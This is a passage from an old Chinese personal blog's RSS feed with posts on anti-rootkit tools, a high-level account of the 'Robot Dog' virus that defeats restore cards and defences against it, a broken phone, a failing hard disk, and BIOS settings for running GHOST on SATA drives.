要消灭CNNIC以及采用FSD Inline Hook技术的Rootkit，首选应该是360安全卫士，但是如果出现了360安全卫士也未加入识别的Rootkit，用户就得使用“狙剑”了，解决方法与前面提及的大同小异，只需要对其“脱钩”就可以了，关键在于，用户还得留意Rootkit的用户层程序是否也使用Hook，如线程注入等。<br />
RK 多了，ARK也多了，这是好事还是坏事呢？答案自然是后者，无论是RK还是ARK，它们都必须进行同一个行为，就是进入系统内核层次并达到目的，于是不兼容现象往往会发生在几个ARK之间，例如，在运行了狙剑后，Wsyscheck经常会直接报错退出，而如果用户在开启了Wsyscheck的情况下运行 IceSword，他将会有很大几率看到那蓝底白字的屏幕。<br />
三. 结语<br />
虽然到处都在提倡和谐网络的普及，但是，“健康上网”仅仅是指代那些黄赌毒而已吗？在利益面前，开发者的正义感越发渺小起来，我们的网络世界，是被瘟神紧紧跟随着的。技术的斗争越发激烈，但是用户的电脑知识是不会跟着时代发展而自动填充的，最终，大众上网的人民成了这一切技术较量的受害者。<br />
这个荒谬的发展方向，何时才能休止呢？</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2008/02/23/%e4%b8%bb%e5%8a%a8%e9%98%b2%e5%be%a1%e6%8a%80%e6%9c%af%e8%bd%ac.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>关于影子系统的安全问题</title>
		<link>http://www.a-boss.com/2008/02/21/%e5%85%b3%e4%ba%8e%e5%bd%b1%e5%ad%90%e7%b3%bb%e7%bb%9f%e7%9a%84%e5%ae%89%e5%85%a8%e9%97%ae%e9%a2%98.html</link>
		<comments>http://www.a-boss.com/2008/02/21/%e5%85%b3%e4%ba%8e%e5%bd%b1%e5%ad%90%e7%b3%bb%e7%bb%9f%e7%9a%84%e5%ae%89%e5%85%a8%e9%97%ae%e9%a2%98.html#comments</comments>
		<pubDate>Thu, 21 Feb 2008 13:03:47 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[建站笔记]]></category>
		<category><![CDATA[介绍]]></category>
		<category><![CDATA[复制]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[完美]]></category>
		<category><![CDATA[影子系统]]></category>
		<category><![CDATA[插件]]></category>
		<category><![CDATA[搜索]]></category>
		<category><![CDATA[猫]]></category>
		<category><![CDATA[硬盘]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[软件]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=74</guid>
		<description><![CDATA[自己平时喜欢拉网去找些喜欢的、好用的、好玩的软件下来使用，喜欢当所谓的小白先生。自然会经常碰到一些介绍比较好，但功能很垃圾的东西，而自己又是一个比较追求完美的人，于是便... ]]></description>
			<content:encoded><![CDATA[<p><span style="font-size:10pt">自己平时喜欢拉网去找些喜欢的、好用的、好玩的软件下来使用，喜欢当所谓的小白先生。自然会经常碰到一些介绍比较好，但功能很垃圾的东西，而自己又是一个比较追求完美的人，于是便用上了影子系统这个家伙，这样一来，就可以只安装自己喜欢的东西了。<br />
但今天在和一个网友聊天的时候才知道原来这个东西也不是那么安全的，也存在问题。一个叫机器狗的东东，专门破坏还原系统，甚至是硬件还原，到网上搜索了下相关资料，真的让自己又明白了一点：<span style="color: red;">这世界根本就不存在什么绝对！</span>没有绝对的安全，没有绝对的完美，没有绝对的一切，似乎自己对这个世界失去了一切信任，也许这就是所谓的缺陷美吧？<br />
静下心来想想，其实这道理自己是可以想出来的，只是有些时候自己不去想，甚至是不想想，不想对一切失去信任．悲观心情对我来说总是很难受的，因为我不是这样的一个人！<br />
撤远了，把找到的介绍转一下吧．</span></p>
<blockquote><p>机器狗的生前身后<br />
曾经有很多人说有穿透还原卡、冰点的病毒，但是在各个论坛都没有样本证据，直到2007年8月29日终于有人贴出了一个样本。这个病毒没有名字，图标是SONY的机器狗阿宝，就像前辈熊猫烧香一样，大家给它起了个名字叫机器狗。</p>
<p>工作原理<br />
机器狗本身会释放出一个pcihdd.sys到drivers目录，pcihdd.sys是一个底层硬盘驱动，提高自己的优先级接替还原卡或冰点的硬盘驱动，然后访问指定的网址，这些网址只要连接就会自动下载大量的病毒与恶意插件。然后修改接管启动管理器，最可怕的是，会通过内部网络传播，一台中招，能引发整个网络的电脑全部自动重启。</p>
<p>重点是，一个病毒，如果以hook方式入侵系统，接替硬盘驱动的方式效率太低了，而且毁坏还原的方式这也不是最好的，还有就是这种技术应用范围非常小，只有还原技术厂商范围内有传播，在这方面国际上也只有中国在用，所以，很可能就是行业内杠。</p>
<p>对于网吧而言，机器狗就是剑指网吧而来，针对所有的还原产品设计，可预见其破坏力很快会超过熊猫烧香。好在现在很多免疫补丁都以出现，发稿之日起，各大杀毒软件都以能查杀。</p>
<p>免疫补丁之争<br />
现在的免疫补丁之数是疫苗形式，以无害的样本复制到drivers下，欺骗病毒以为本身以运行，起到阻止危害的目的。这种形式的问题是，有些用户为了自身安全会在机器上运行一些查毒程序（比如QQ医生之类）。这样疫苗就会被误认为是病毒，又要废很多口舌。</p>
<p>解决之道<br />
最新的解决方案是将system32/drivers目录单独分配给一个用户，而不赋予administror修改的权限。虽然这样能解决，但以后安装驱动就是一件头疼的事了。</p>
<p>最新动向<br />
好像机器狗的开发以停止了，从样本放出到现在也没有新的版本被发现，这到让我们非常担心，因为虽着研究的深入，现在防御的手段都是针对病毒工作原理的，一但机器狗开始更新，稍加改变工作原理就能大面积逃脱普遍的防御手段，看来机器狗的爆发只是在等待，而不是大家可以高枕了。</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2008/02/21/%e5%85%b3%e4%ba%8e%e5%bd%b1%e5%ad%90%e7%b3%bb%e7%bb%9f%e7%9a%84%e5%ae%89%e5%85%a8%e9%97%ae%e9%a2%98.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>为我的手机哀悼</title>
		<link>http://www.a-boss.com/2007/11/16/%e4%b8%ba%e6%88%91%e7%9a%84%e6%89%8b%e6%9c%ba%e5%93%80%e6%82%bc.html</link>
		<comments>http://www.a-boss.com/2007/11/16/%e4%b8%ba%e6%88%91%e7%9a%84%e6%89%8b%e6%9c%ba%e5%93%80%e6%82%bc.html#comments</comments>
		<pubDate>Fri, 16 Nov 2007 09:35:37 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[生活随笔]]></category>
		<category><![CDATA[sx1]]></category>
		<category><![CDATA[娱乐]]></category>
		<category><![CDATA[学习]]></category>
		<category><![CDATA[完美]]></category>
		<category><![CDATA[手机]]></category>
		<category><![CDATA[硬盘]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=67</guid>
		<description><![CDATA[屋漏偏逢连阴雨，我这倒霉的硬盘还一直没有买呢，我的手机现在又离我而去了，真是祸不单行呀！ 今早七时许，习惯在厕所看新闻早报的我，一如既往的打开了早报，几页之后，手机便没有... ]]></description>
			<content:encoded><![CDATA[<p>屋漏偏逢连阴雨，我这倒霉的硬盘还一直没有买呢，我的手机现在又离我而去了，真是祸不单行呀！</p>
<p>今早七时许，习惯在厕所看新闻早报的我，一如既往的打开了早报，几页之后，手机便没有了任何反应，一如以前的没有在意这个常见的现象，但在几分钟后发现，会自动重起的手机，仍就死死的停在那里，感觉到了一丝不妙，扣电池，装电池，开机，没有反应，换电池重试，依旧视同我的不存在。</p>
<p>到单位后，接好充电器再试，问题依旧。反复试机无数．．．．．．．</p>
<p>无奈之下郑重宣布：大S寿终正寝！享年三年零六个月。</p>
<p>为跟随我出生入死，历经磨难的爱机默哀三分钟！</p>
<p>大Ｓ是跟随我时间最长的一部手机，是标准的终极而安，虽然早在一个月前就已经出现了一些征兆，但我却也一直不肯相信她会这么狠心的离我而去．还以为它能陪伴我度过２００７年的冬天．</p>
<p>回忆着她跟随我的那些岁月里，我无数次的折腾她，无数次的碰撞她，无数次的修正她，而只送给过她两块组装电池，一块原装电池（还是倒买倒卖赚的），还有赠送的一套粗糙衣服，她基本是都是毫无怨言的，虽然偶尔来点小脾气，但通常是很快的向我承认错误．但期间她为我发挥的作用却是不可估量的；接打重要电话无数，联系了诸多重要业务；娱乐无数，陪伴了我的休闲时间，学习无数，充实了我的部分休息时间．</p>
<p>爱机走了，肯定会有新的爱机补充上来，但她在我心里所占据的位置是永远无法改变的．</p>
<p>最后，在这里征集下补充力量的所需条件，排名不分先后：<br />
１、智能手写；<br />
２、大品牌；<br />
３、待机时间在３天以上；<br />
４、支持卡扩充；<br />
５、屏幕不能进灰；<br />
以上为必须条件，以下为可选。<br />
６、支持３Ｇ标准；<br />
７、做工精细；<br />
８、最好是三防手机；</p>
<p>感觉条件是不是有点太完美了？？？就这么多吧！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2007/11/16/%e4%b8%ba%e6%88%91%e7%9a%84%e6%89%8b%e6%9c%ba%e5%93%80%e6%82%bc.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>找出了我的故障硬盘</title>
		<link>http://www.a-boss.com/2007/11/03/%e6%89%be%e5%87%ba%e4%ba%86%e6%88%91%e7%9a%84%e6%95%85%e9%9a%9c%e7%a1%ac%e7%9b%98.html</link>
		<comments>http://www.a-boss.com/2007/11/03/%e6%89%be%e5%87%ba%e4%ba%86%e6%88%91%e7%9a%84%e6%95%85%e9%9a%9c%e7%a1%ac%e7%9b%98.html#comments</comments>
		<pubDate>Sat, 03 Nov 2007 23:13:12 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[建站笔记]]></category>
		<category><![CDATA[游戏]]></category>
		<category><![CDATA[电影]]></category>
		<category><![CDATA[硬盘]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=66</guid>
		<description><![CDATA[知道硬盘有问题已经有段时间了,曾经想着买块替换的硬盘,没想到这些日子,硬盘却在涨价,没有办法只好再等等看了.今天在玩游戏的时候,突然硬盘又开始&#8221;吱吱&#8221;的响了起来,马上拆机箱,... ]]></description>
			<content:encoded><![CDATA[<p>知道硬盘有问题已经有段时间了,曾经想着买块替换的硬盘,没想到这些日子,硬盘却在涨价,没有办法只好再等等看了.今天在玩游戏的时候,突然硬盘又开始&#8221;吱吱&#8221;的响了起来,马上拆机箱,寻找故障源,但三块硬盘太近了,根本听不出哪块的问题,于是,不管三七二十一,在还开着机的情况,硬是把硬盘的电源线挨个弄了下来,终于找到哪块的问题,因为硬盘都是并口的并不支持热插拔,心里还担心搞坏硬盘,没想到重新开机,一切OK,不过劝大家还是不要效仿我的做法呀!个例!</p>
<p>有问题的硬盘里面全是我平时积攒下来的好看电影,只盼望还能拷贝出来!准备买硬盘喽!!!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2007/11/03/%e6%89%be%e5%87%ba%e4%ba%86%e6%88%91%e7%9a%84%e6%95%85%e9%9a%9c%e7%a1%ac%e7%9b%98.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>串口(SATA)硬盘如何使用GHOST</title>
		<link>http://www.a-boss.com/2007/10/26/%e4%b8%b2%e5%8f%a3sata%e7%a1%ac%e7%9b%98%e5%a6%82%e4%bd%95%e4%bd%bf%e7%94%a8ghost.html</link>
		<comments>http://www.a-boss.com/2007/10/26/%e4%b8%b2%e5%8f%a3sata%e7%a1%ac%e7%9b%98%e5%a6%82%e4%bd%95%e4%bd%bf%e7%94%a8ghost.html#comments</comments>
		<pubDate>Fri, 26 Oct 2007 16:43:42 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[建站笔记]]></category>
		<category><![CDATA[GHOST]]></category>
		<category><![CDATA[串口]]></category>
		<category><![CDATA[硬盘]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=63</guid>
		<description><![CDATA[首先我们先来分析一下，为何在一般情况下系统会死机。一般来讲支持SATA硬盘主板采用的都是I865PE（北桥）+ICH5R（南桥）的芯片组，但由于ICH5R南桥芯片本身的限制，在WIN9X，WINNT，DOS系统使用... ]]></description>
			<content:encoded><![CDATA[<p>首先我们先来分析一下，为何在一般情况下系统会死机。一般来讲支持SATA硬盘主板采用的都是I865PE（北桥）+ICH5R（南桥）的芯片组，但由于ICH5R南桥芯片本身的限制，在WIN9X，WINNT，DOS系统使用下，其中一组IDE通道会无法使用，这就是为何我们启动GHOST后，系统会停止响应，因为此时GHOST无法判断系统中到底那组IDE可用。知道原因后，我们就可以对症下药了。一般865的主板的BIOS里都提供了一个屏蔽一组IDE通道的选项，让系统还是只认到二组IDE通道，下面我按ASUS P4P800主板为例来详细说明一下操作方法：（以下方法均为光盘启动模式）</p>
<p>1、 一个SATA硬盘挂在SATA1接口，一个CDROM挂在PRIMARY IDE接口（设为主盘）：　　　a) 开机进入BIOS设定，在MAIN菜单中选中IDE Configuration 　　　b) 将Onboard IDE Operate Mode改为Compatible Mode 　　　c) 在[Enhanced Mode Support On]中选择[Primary P-ATA+S-ATA] 　　　d) 重启进入BIOS后，你会发现在MAIN菜单中只有4个IDE设备了，[Primary IDE MASTER]为[CDROM]，[Primary IDE Slave]为[NONE]，[Secondary IDE Master]为[IDE DISK]（你的硬盘的型号），[[Secondary IDE Slave]为[NONE] 　　　e) 用光盘启动进入DOS后，运行GHOST就可以了</p>
<p>2、 一个SATA硬盘挂在SATA1接口，一个CDROM挂在SECONDARY IDE接口：只要将上面第三步中的[Primary P-ATA+S-ATA]改为[Secondary P-ATA+S-ATA]，就可以了，此时系统会将SATA1和SATA2设备当作[Primary IDE Master]和[Primary IDE Slave]。</p>
<p>3、 如果你使用了支持SATA的主板，但没有使用SATA设备时，有些主板BIOS还是默认打开了SATA通道的，此时要使用GHOST来备份系统也会导致黑屏，所以我们也需要在BIOS里面设置一下，来屏蔽掉SATA通道，还是在第一种情况下的第三步中，将[Primary P-ATA+S-ATA]改为[P-ATA Ports Only]，此时系统将屏蔽掉SATA设备，你可以将它做为普通的没有SATA设备的主板使用了。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2007/10/26/%e4%b8%b2%e5%8f%a3sata%e7%a1%ac%e7%9b%98%e5%a6%82%e4%bd%95%e4%bd%bf%e7%94%a8ghost.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>电脑的奇怪声音</title>
		<link>http://www.a-boss.com/2007/10/21/%e7%94%b5%e8%84%91%e7%9a%84%e5%a5%87%e6%80%aa%e5%a3%b0%e9%9f%b3.html</link>
		<comments>http://www.a-boss.com/2007/10/21/%e7%94%b5%e8%84%91%e7%9a%84%e5%a5%87%e6%80%aa%e5%a3%b0%e9%9f%b3.html#comments</comments>
		<pubDate>Sun, 21 Oct 2007 22:38:53 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[建站笔记]]></category>
		<category><![CDATA[串口]]></category>
		<category><![CDATA[硬盘]]></category>
		<category><![CDATA[软件]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=62</guid>
		<description><![CDATA[最近我的电脑里偶尔会发出&#8221;吱吱&#8221;的声音，时间有几秒中的样子，但响的时间越来载长，而且间隔的时间也越来越短，但却是不规律性的，曾经仔细听着像是硬盘里发出的声音，好像硬... ]]></description>
			<content:encoded><![CDATA[<p>最近我的电脑里偶尔会发出&#8221;吱吱&#8221;的声音，时间有几秒中的样子，但响的时间越来载长，而且间隔的时间也越来越短，但却是不规律性的，曾经仔细听着像是硬盘里发出的声音，好像硬盘针在划磁盘的响声，但用检测软件却没有检测出任何问题，很是奇怪，而且我的电脑里有三块硬盘，所以搞不清是哪快的问题。</p>
<p>想必是有块硬盘的该休息了，还是应该先买块大的硬盘替换下有问题的来才对，否则里面的东西会有找不回来的可能性。现在的串口盘做的越来越轻了，也薄了，因为我的主板支持串口的硬盘，所以我的目标就是２５０Ｇ的大硬盘，哈哈。强呀·</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2007/10/21/%e7%94%b5%e8%84%91%e7%9a%84%e5%a5%87%e6%80%aa%e5%a3%b0%e9%9f%b3.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
